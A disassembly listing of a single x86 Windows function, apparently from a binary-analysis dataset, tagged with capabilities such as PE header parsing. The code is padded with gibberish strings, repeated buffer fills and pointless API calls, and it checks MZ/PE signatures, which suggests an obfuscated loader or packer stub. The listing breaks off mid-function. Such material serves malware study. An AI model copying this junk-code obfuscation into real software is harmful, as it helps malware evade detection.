Function at 0x406fb0
Capabilities:
Get common file path
Get geographical location
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7be4
call fcn.004110d0
mov eax, dword [0x42b5cc]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
mov esi, 2
lea ecx, [ecx]
push 0x8455
push str.Hozeziea
xor eax, eax
mov byte [ebp - 0x46c], 0
mov ecx, 0x14
lea edi, [ebp - 0x46b]
push str._s_Ivdese_Loezzeo__d_S_Vjeacajae
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x46c]
push 0x50
push eax
call fcn.0040db84
add esp, 0x14
dec esi
jne 0x406fd0
mov edx, dword [0x422b90]
mov ecx, dword [str.Epuxgiqoaeha]
mov eax, dword [0x422b94]
push 0xd
mov dword [ebp - 0xa4], edx
lea edx, [ebp - 0xa8]
push edx
push 0xc
push str.Ceuobodeaayenaiihaujuafefwuetoqshrnekiiviukabeboudieqoxqaasiqoyuziioolsexurabajoayuonioofodiiiwutanhleqoaayiluuuualeeosiiukofophiitiktaaeaquauzoauhrkoieearebfoegeroyujozhyuoaiterjidesyueujbsjeauotvuysjhnennzirovmtptureaueuwzrruexaqiciueubtoqohvsofmleyovaoaceftipvujideyovbiozueaeepiqouiheeaiikia
mov dword [ebp - 0xa8], ecx
mov cl, byte [0x422b98]
push 1
push 0x800
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x9c], cl
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0x1a6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebx, 3
lea ebx, [ebx]
mov ecx, 8
mov esi, str.Rlueoimaggeordjtjiaooukijbozpejnnu
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
push str.Qeivdum
push str.Maiixi
push 0xaddd
movsw word es:[edi], word [esi]
push str._d_Oiuuromoit_Lkq__s_Jeu_Vefupes__s_Ac_Oiujk
lea eax, [ebp - 0x78]
push 0x22
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x18
dec ebx
jne 0x407070
mov eax, dword [0x422b20]
mov ecx, dword [str.Fabywecpdubabo]
mov edx, dword [0x422b1c]
push 0x29a
push str._d_Eeoeci_Ea
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x98], ecx
mov cx, word [0x422b24]
mov dword [ebp - 0x94], edx
mov dl, byte [0x422b26]
lea eax, [ebp - 0x98]
push 0xe
push eax
mov word [ebp - 0x8c], cx
mov byte [ebp - 0x8a], dl
call fcn.0040db84
push 0x668b
push str.Duiitocezc
push str.Itihquwe
mov ecx, 0x14
mov esi, str.Ivzusuyieauungoegafntzzelieizegnuzxatraoqubiastahfeodikuuugefotbxecjuieofiisgiu
lea edi, [ebp - 0xbdc]
push str.Jeay__s_Miuuz_A__s_Xeasuaho__d_Czu_Rokorel
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0xbdc]
push 0x4f
push ecx
call fcn.0040db84
push 0x7ab
call fcn.0040db03
mov edx, eax
add esp, 0x2c
test edx, edx
je 0x4071ae
mov edi, edx
mov ecx, 0xe9
mov eax, 0x79797979
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x1b2
mov eax, 0x48484848
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x5e
mov eax, 0xebebebeb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x45
mov eax, 0x9090909
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xb5
mov eax, 0xd8d8d8d8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x162
mov eax, 0x76767676
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xd11c
push str.Ghuif
push str._s_Gi__d_Hiaisebfhi_Watufevo
lea edx, [ebp - 0x950]
xor eax, eax
push 0x2a
mov word [ebp - 0x950], 0
mov ecx, 0x15
lea edi, [ebp - 0x94e]
push edx
rep stosd dword es:[edi], eax
call fcn.0040d97b
mov eax, dword [ebp + 0xc]
add esp, 0x14
cmp word [eax], 0x5a4d
jne 0x409d21
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, 6
nop
call edi
dec esi
mov dword [0x6e9a04], eax
jne 0x407200
mov byte [ebp - 0x884], 0
xor eax, eax
mov ecx, 0x14
lea edi, [ebp - 0x883]
rep stosd dword es:[edi], eax
push 0x422a28
push str.Xuaxtafui__s_Hwfapesii
lea ecx, [ebp - 0x884]
push 0x52
push ecx
stosw word es:[edi], ax
call fcn.0040db84
push 0x639
call fcn.0040db03
mov edx, eax
add esp, 0x14
test edx, edx
je 0x407265
mov edi, edx
mov ecx, 0xd8
mov eax, 0x36363636
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x180
lea edx, [ebp - 0x32e4]
push edx
mov word [ebp - 0x32e4], 0
xor eax, eax
push 0
mov ecx, 0xbf
lea edi, [ebp - 0x32e2]
rep stosd dword es:[edi], eax
push 0
push 2
push 0x800
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0x46
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
mov dword [0x6e9a24], eax
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
mov ecx, 0x19
mov esi, str.Quefmanjualatqaovoveuumocpifbeoaxoqipxfqtimaoefakonijidsizceleiyuoibkuvahoiudaktjahueiupnorauepifuebki
lea edi, [ebp - 0x348]
rep movsd dword es:[edi], dword [esi]
push 0x598b
push 0xefa9
movsw word es:[edi], word [esi]
push str._d_Zveis_Dqietibea__d_Bigoyuxe_Waoagimie_Tesuia
lea eax, [ebp - 0x348]
push 0x66
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
add esp, 0x14
mov esi, 9
mov edi, edi
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0x120
call edi
dec esi
mov dword [0x6e9a0c], eax
jne 0x4072f0
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x3c]
push 0xbd9b
add ebx, eax
push str.Earlne
mov byte [ebp - 0xad4], 0
xor eax, eax
mov ecx, 0x19
lea edi, [ebp - 0xad3]
rep stosd dword es:[edi], eax
push 0x4265fc
push str._s_Daos_Mdxu__s_Mpa_Dgipferloi_Tiukaovxa__d_Iuvuwaeuko_Obloiak
lea ecx, [ebp - 0xad4]
push 0x66
push ecx
mov dword [ebp - 0x7b80], ebx
stosw word es:[edi], ax
call fcn.0040db84
push 0x4228e0
push 0xda4e
push 0xefbe
push 0x4228dc
push str.Aeciuumu
push str._s_D__s_Gk__d_Yh__d_Maeenedfne__s_W_Siedponelu
lea edx, [ebp - 0x464]
push 0x23
mov ecx, 0x12
mov esi, str.Cudibiteeomouastbajeuluukyhosamolfk
lea edi, [ebp - 0x464]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x38
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 0xf
mov esi, str.Osiqueombguihtohyovuuaeeguoefaneoccuqwijfauiueyizpcodabuuoli
lea edi, [ebp - 0x23c]
rep movsd dword es:[edi], dword [esi]
push 0x1f9f
push str.Vikej
push 0x422814
push str._s_Wziu__s_I_Xxaop__d_Hmdjruk
mov dword [0x6e9a4c], eax
lea eax, [ebp - 0x23c]
push 0x3c
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0x406
call fcn.0040db03
mov edx, eax
add esp, 0x1c
test edx, edx
je 0x407441
mov edi, edx
mov ecx, 0xa2
mov eax, 0xf7f7f7f7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0xf0f0f0f0
mov edi, edx
mov ecx, 0x99
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x5c
mov eax, 0x61616161
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x89
mov eax, 0x58585858
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x9d
mov eax, 0xacacacac
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
cmp dword [ebx], 0x4550
jne 0x409d21
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call ebx
push 0x320
mov dword [0x6e9a2c], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4074c6
mov edi, edx
mov ecx, 0x93
mov eax, 0xb4b4b4b4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x71
mov eax, 0xe2e2e2e2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x43
mov eax, 0x47474747
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0xfafafafa
mov edi, edx
mov ecx, 0xb2
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x9f
mov eax, 0x93939393
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x261
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407515
mov edi, edx
mov ecx, 0x7f
mov eax, 0xc5c5c5c5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x24
mov eax, 0xbbbbbbbb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x80
mov eax, 0x3030303
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
xor eax, eax
mov word [ebp - 0x1f8c], 0
mov ecx, 0xde
lea edi, [ebp - 0x1f8a]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1f8c]
push ecx
push 0x1bd
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 4
mov ecx, dword [0x4227ec]
mov edx, dword [str.Tdpileuyuekuqj]
mov eax, dword [0x4227e8]
push 0xa3c4
push str.Neaolulqgg
push 0x4227d4
push 0x6b05
push 0x4227d0
push 0x4227cc
push str.Beao__s_Jx__s_Tiuoaeqs__d_Cemaxezixo__s_Kbisbugxuu__s_Ikowbeguu_Aenup__d_P
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], edx
mov dx, word [0x4227f0]
mov dword [ebp - 0x10], eax
mov al, byte [0x4227f2]
lea ecx, [ebp - 0x14]
push 0xe
push ecx
mov word [ebp - 8], dx
mov byte [ebp - 6], al
call fcn.0040db84
add esp, 0x24
dec esi
jne 0x407544
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x644
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4075e6
mov edi, edx
mov ecx, 0x6e
mov eax, 0xaeaeaeae
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0xeaeaeaea
mov edi, edx
mov ecx, 0xbf
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push 0x133
lea edx, [ebp - 0x1c10]
push edx
mov byte [ebp - 0x1c10], 0
xor eax, eax
push 0
mov ecx, 0x4c
lea edi, [ebp - 0x1c0f]
rep stosd dword es:[edi], eax
push str.Vuauxenularuxiedvotomanavqcgsujaokhibyvilumaoexuypheaitfeameygiaxiaeiicotikzbiqtngviawltbiheeajoxlhaeekgevbaseoetoavowcimqcjpiuwezpevlruvexuujjeaarxkicaeoieaotigoxyuueakatewucruobahomveoxkyaeuopctsuwuiusibelidoimvfmoeglqwurfirnimeobboiupywiioaqmotonqiuamqohatueakewuaiyaaextyewvejkeohapperxyabiaaaddevuamxoueeukipacohoqcosvizihbqurumoriikbssixtoijayveiaipioiauliwyxojjaadeiasacoewidworoiaperyoftoreiapejobwmusueuwudifejiheeizuyouulaqugabosorcsuzeiojugsbuconouozufiaoxuhcyskuviivnoxuooxiayaefuwbpoveyiocgiuuecfabiieiiktgwcukgukduepdsgoaxspvertiiluuueuoaerejfoouloxapnurwubzloponahifuitaigeqvhisisoougivulljatiaoeawabbeizaivninpsevehudedebzqrkotaaytaekeakuiutowouaaaaiozoidocyebjadqezkorifixuxhijsizohijoejuioidjltjeeeaa
push 0
push 0x800
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
call ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov dword [0x6e9a10], eax
mov ebx, 2
mov esi, 3
jmp 0x407640
push 0x255f
push 0x769e
push 0x422774
xor eax, eax
push 0xbc11
mov word [ebp - 0x830], 0
mov ecx, 0x1f
lea edi, [ebp - 0x82e]
rep stosd dword es:[edi], eax
push 0x3769
push 0xef3c
push str._d_Lwui__d_Vxobku__d_Xo_Ju__s_Tcvoxa__d_B_Tkm__d_Wu_Mlweb
stosw word es:[edi], ax
lea eax, [ebp - 0x830]
push 0x3f
push eax
call fcn.0040d97b
add esp, 0x24
dec esi
jne 0x407640
dec ebx
jne 0x407630
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x7be4]
rep stosd dword es:[edi], eax
mov ecx, 0xf
mov esi, str.Vqeizoaetaserveosatouororeuiwockaitufeiiheweaiyicdiitavauitu
lea edi, [ebp - 0xa28]
rep movsd dword es:[edi], dword [esi]
push 0xcece
push 0xb420
push 0x4226b8
push str._s_Cahum_Mohsjaztbb__d_Zoawcaai__d_Ce_Ur
lea ecx, [ebp - 0xa28]
push 0x3c
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov byte [ebp - 0x114], 0
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x113]
push str.Qcflci
rep stosd dword es:[edi], eax
push str._s_Gi_Atiizux
lea edx, [ebp - 0x114]
push 0x45
push edx
stosb byte es:[edi], al
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov byte [ebp - 0x4424], 0
mov ecx, 0x11d
lea edi, [ebp - 0x4423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0x28
push 0x478
stosb byte es:[edi], al
lea eax, [ebp - 0x4424]
push eax
push 0xc
push 0x800
call ebx
mov esi, 6
push 0x685
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40776e
mov edi, edx
mov ecx, 0x17f
mov eax, 0x99999999
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x407743
call dword [sym.imp.KERNEL32.dll_GetACP]
xor eax, eax
push 0x139
mov byte [ebp - 0xe08], 0
mov ecx, 0x4e
lea edi, [ebp - 0xe07]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0xe08]
push ecx
push eax
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push 0x768b
push 0x2c43
push 0xcb24
mov dword [0x6e9a24], eax
mov byte [ebp - 0x69c], 0
xor eax, eax
push 0x54a3
mov ecx, 0xe
lea edi, [ebp - 0x69b]
rep stosd dword es:[edi], eax
push 0x1016
push 0x82e8
push str.It__d_Twaivoami__d_Leuum_Bau__d_Aohalazc_Giirva__d_Mau__d_I_Lenimivaa__d_Zjoiaufssf_M
stosw word es:[edi], ax
lea edx, [ebp - 0x69c]
push 0x3b
push edx
mov dword [ebp - 0x7bd8], 0x422670
stosb byte es:[edi], al
call fcn.0040db84
push 0x24a
call fcn.0040db03
mov edx, eax
add esp, 0x28
test edx, edx
je 0x407871
mov edi, edx
mov ecx, 0x7d
mov eax, 0x7b7b7b7b
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x3d
mov eax, 0xbbbbbbbb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x30
mov eax, 0xd0d0d0d0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x72
mov eax, 0x62626262
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x32
mov eax, 0x69696969
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xd11d
push 0x630f
push 0xdce3
push 0xc62a
push 0xea75
push 0x28db
xor eax, eax
mov word [ebp - 0xccc], 0
mov ecx, 0x1d
lea edi, [ebp - 0xcca]
push str._d_Drciwi__d_Q__d_Ieyunooie_Laa__d_Fbi__d_Rom_Poikqexhia_Zoaqfineq__d_Netigihx_G_Giuesea
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xccc]
push 0x3a
push eax
call fcn.0040d97b
push 0x8032
push 0x7abd
push str.Hetvva
mov ecx, 0x28
mov esi, str.Hkxoyinyiuoobuotzesieiheqeoiaozuaajahokmcipifsxiojazziwoaijauwaurevoiobufadouau
lea edi, [ebp - 0x16d4]
push str._s_Wmmoz_Przw__d_Fiiame__d_Fyreo_Basobikea
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x16d4]
push 0x4f
push ecx
call fcn.0040d97b
add esp, 0x3c
push 0x73d
lea edx, [ebp - 0x4b64]
push edx
push 0xc
xor eax, eax
mov byte [ebp - 0x4b64], 0
mov ecx, 0x1cf
lea edi, [ebp - 0x4b63]
push 0x800
rep stosd dword es:[edi], eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov esi, 3
push 0x74
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
call edi
dec esi
mov dword [0x6e9a08], eax
jne 0x407927
push 0x3a6
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407986
mov edi, edx
mov ecx, 0x5a
mov eax, 0x67676767
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0xa2a2a2a2
mov edi, edx
mov ecx, 0xb6
rep stosd dword es:[edi], eax
mov ecx, edx
mov eax, 0xfdfdfdfd
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push edx
mov word [ecx + 0xc], ax
call fcn.0040d9eb
add esp, 4
push 0x75cd
push 0x428e60
push 0x422450
push 0x42244c
push 0x258f
mov byte [ebp - 0xb8c], 0
xor eax, eax
mov ecx, 0x1c
lea edi, [ebp - 0xb8b]
push str.Ziaucusoea
rep stosd dword es:[edi], eax
push str._s_Fa__d_Vjenzelqw_S__s_Jauola__s_Mjlduikaui__s_Poawlo_Ewoh__d_Zoaaf
lea edx, [ebp - 0xb8c]
push 0x72
push edx
mov dword [ebp - 0x7be4], 0x44
stosw word es:[edi], ax
call fcn.0040db84
add esp, 0x24
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 2
jmp 0x4079f0
push 0x1b27
push 0x4223bc
push 0xae35
mov ecx, 0xc
mov esi, str.Yzqiaafvlfpawaeofixyiwqotymadoxwnikemcnbeaksiado
lea edi, [ebp - 0x18c]
rep movsd dword es:[edi], dword [esi]
push str.Hepate
push 0x72ac
push 0xb34d
push str._d_Iu_Zuej_Auusja__d_Qlee_Bnautoivje__s_Gib_Sxve_Zi__d_Oigufin__s_Wuocau__d_Kilmp_Vxukcebuo
lea eax, [ebp - 0x18c]
push 0x30
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x24
dec ebx
jne 0x4079f0
push 0x397
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407a8e
mov eax, 0x83838383
mov edi, edx
mov ecx, 0x86
rep stosd dword es:[edi], eax
mov eax, 0xcacacaca
mov edi, edx
mov ecx, 0xb6
rep stosd dword es:[edi], eax
xor eax, eax
mov edi, edx
mov ecx, 0x97
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x39393939
mov edi, edx
mov ecx, 0x5f
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push 0xa
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0xc
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 1
push 0x800
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x6a5
mov dword [0x6e9a14], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407b26
mov eax, 0x8d8d8d8d
mov edi, edx
mov ecx, 0xae
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x4c
mov eax, 0x40404040
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x61616161
mov edi, edx
mov ecx, 0xb8
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x144
mov eax, 0x6c6c6c6c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1a1
mov eax, 0x1a1a1a1a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xec
mov eax, 0x5a5a5a5a
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push str.Onoomu
xor eax, eax
mov byte [ebp - 0x348], 0
mov ecx, 0x1a
lea edi, [ebp - 0x347]
push str._s_Phticoka
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x348]
push 0x68
push ecx
call fcn.0040db84
mov ecx, 0x6a
mov esi, str.Teeiaiaauomabtaexovouoaujuaariguaahaluaoluziuooeemaiiocauabiyahupearshxuiebxtipriahugeujpetorsponooawemyumjoqeuuguukukvawbcopequiemazpueiuvborcensnssopauiqetovesoewebvorhieeadoarlehioigogzoijiyiuomoeiergaoxjahoqzuqmiaokiuuhoeidexrmisobladgonuetqosaoogukitokikipeceqiioroqaeatugjohyaikadsoeaoafoazsifarokelujoeoderoegmaqoaiuiffoxqoxuhirobaeitijrnlmiboiaqiobiotecaqkpipynojaeagasiljjfruyqeokeiseaaelmeexalvouaaliasrujauwiejro
lea edi, [ebp - 0x24cc]
rep movsd dword es:[edi], dword [esi]
add esp, 0x10
xor eax, eax
mov byte [ebp - 0x1a00], 0
mov ecx, 0x4a
lea edi, [ebp - 0x19ff]
rep stosd dword es:[edi], eax
push 0x12a
lea edx, [ebp - 0x1a00]
push edx
push 0
stosb byte es:[edi], al
lea eax, [ebp - 0x24cc]
push eax
push 0
push 0x800
mov dword [ebp - 0x7bb8], 1
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push str.Knnnne
push str.Vvdezum
mov ecx, 0x1e
mov esi, str.Znqoioozeenasuimgujvhduarfooauwpourotwutjinoeezaranaxapiigluooaaiuxonfhuolesdihpfgzaolueiewauigujiauvaeiuauabloiquteooya
lea edi, [ebp - 0x2d4]
rep movsd dword es:[edi], dword [esi]
push 0x425bd8
push 0xa553
push 0x4422
push str.Kpuiuoq__d_A_Pt__d_H_Zjeod__s_Noxy_Llo__s_Giextoja__s_Cnvseozf_Hbjulura
lea ecx, [ebp - 0x2d4]
push 0x78
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0xf719
push str.Nerowosiav
push str._s_Dei__d_Lyu_Yyiaao
lea edx, [ebp - 0x23c]
xor eax, eax
push 0x3c
mov byte [ebp - 0x23c], 0
mov ecx, 0xf
lea edi, [ebp - 0x23b]
push edx
rep stosd dword es:[edi], eax
call fcn.0040db84
add esp, 0x34
mov ebx, 0xa
jmp 0x407c30
mov esi, 4
push 0x7f5
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407c71
mov edi, edx
mov ecx, 0x1e2
